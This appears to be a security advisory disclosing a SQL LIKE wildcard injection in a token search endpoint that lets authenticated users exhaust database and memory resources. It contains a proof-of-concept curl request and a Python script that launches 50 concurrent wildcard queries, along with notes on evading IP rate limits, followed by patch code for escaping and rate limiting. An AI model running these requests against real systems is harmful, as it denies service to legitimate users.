  "details": "### Summary\nA SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.\n\n### Details\nThe token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.\n\n### Vulnerable Code\nFile: `model/token.go:70`\n```go\nerr = DB.Where(\"user_id = ?\", userId).\n       Where(\"name LIKE ?\", \"%\"+keyword+\"%\").     // No wildcard escaping\n       Where(commonKeyCol+\" LIKE ?\", \"%\"+token+\"%\").\n       Find(\u0026tokens).Error\n```\n\n### PoC\n\nAfter creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.\n\n\u003cimg width=\"1636\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6\" /\u003e\n\nThese data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:\n\n```bash\n# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.\ncurl \u0027http://localhost:3000/api/token/search?keyword=%\u0026token=\u0027\n```\n\n\u003cimg width=\"491\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124\" /\u003e\n\nIt will cause DoS.\n\n```python\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef attack(session_cookie):\n    requests.get(\n        \u0027http://localhost:3000/api/token/search\u0027,\n        params={\u0027keyword\u0027: \u0027%_%_%_%_%_%\u0027, \u0027token\u0027: \u0027\u0027},\n        cookies={\u0027session\u0027: session_cookie},\n        headers={\u0027New-API-User\u0027: \u00271\u0027}\n    )\n\n# Launch 50 concurrent malicious requests\nwith ThreadPoolExecutor(max_workers=50) as executor:\n    for _ in range(50):\n        executor.submit(attack, \u0027\u003cvalid_session\u003e\u0027)\n```\n\n### Impact\n**Availability**\n\nRAM Overflow\n\n\u003cimg width=\"1078\" height=\"145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149\" /\u003e\n\nPostgres unavailable\n\n\u003cimg width=\"772\" height=\"185\" alt=\"image\" src=\"https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b\" /\u003e\n\n- Database CPU usage spike to 100%\n- Application memory exhaustion\n- Legitimate user requests blocked or significantly delayed\n- Potential application crash or database connection pool exhaustion\n\n### Database Performance\n\nTesting with 2,000,000 tokens:\n\n| Pattern | Query Time | Rows | Impact |\n|---------|-----------|------|--------|\n| `test` (normal) | ~50ms | 0 | Low |\n| `%` (full scan) | 5,973ms | 2,000,000 | High |\n| `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |\n\n### Attack Scalability\n\n- **Single attacker**: Can launch 10-50 concurrent requests easily\n- **Multiple accounts**: Attacker can register multiple accounts (if registration enabled)\n- **Proxy rotation**: IP-based rate limiting can be bypassed\n- **Persistence**: Attack can be sustained indefinitely\n\n### Resource Consumption\n\nEach malicious request with 2M results:\n- **Database**: ~6 seconds CPU time\n- **Network**: ~200MB data transfer\n- **Application Memory**: ~200MB+ for JSON serialization\n- **Connection Time**: Database connection held for entire query duration\n\n## Exploitation Scenario\n\n1. Attacker registers or compromises a regular user account\n2. Attacker crafts malicious LIKE patterns using `%` wildcards\n3. Attacker launches concurrent requests (50-200 concurrent)\n4. Database becomes overwhelmed with slow queries\n5. Application memory exhausts from processing large result sets\n6. Legitimate users experience service degradation or complete unavailability\n\n ## Patch Recommendations\n### 1. Escape LIKE Wildcards (Critical)\n```go\nfunc escapeLike(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \"%\", \"\\\\%\")\n    s = strings.ReplaceAll(s, \"_\", \"\\\\_\")\n    return s\n}\n\nfunc SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {\n    keyword = escapeLike(keyword)\n    token = strings.Trim(token, \"sk-\")\n    token = escapeLike(token)\n\n    err = DB.Where(\"user_id = ?\", userId).\n           Where(\"name LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+keyword+\"%\").\n           Where(commonKeyCol+\" LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+token+\"%\").\n           Limit(1000).\n           Find(\u0026tokens).Error\n    return tokens, err\n}\n```\n\n### 2. Add User-Level Rate Limiting\n```go\ntokenRoute.GET(\"/search\",\n    middleware.TokenSearchRateLimit(),  // 30 req/min per user\n    controller.SearchTokens)\n```\n\n### 3. Add Query Timeout\n```go\nctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\ndefer cancel()\nerr = DB.WithContext(ctx).Where(...).Find(\u0026tokens).Error\n```",
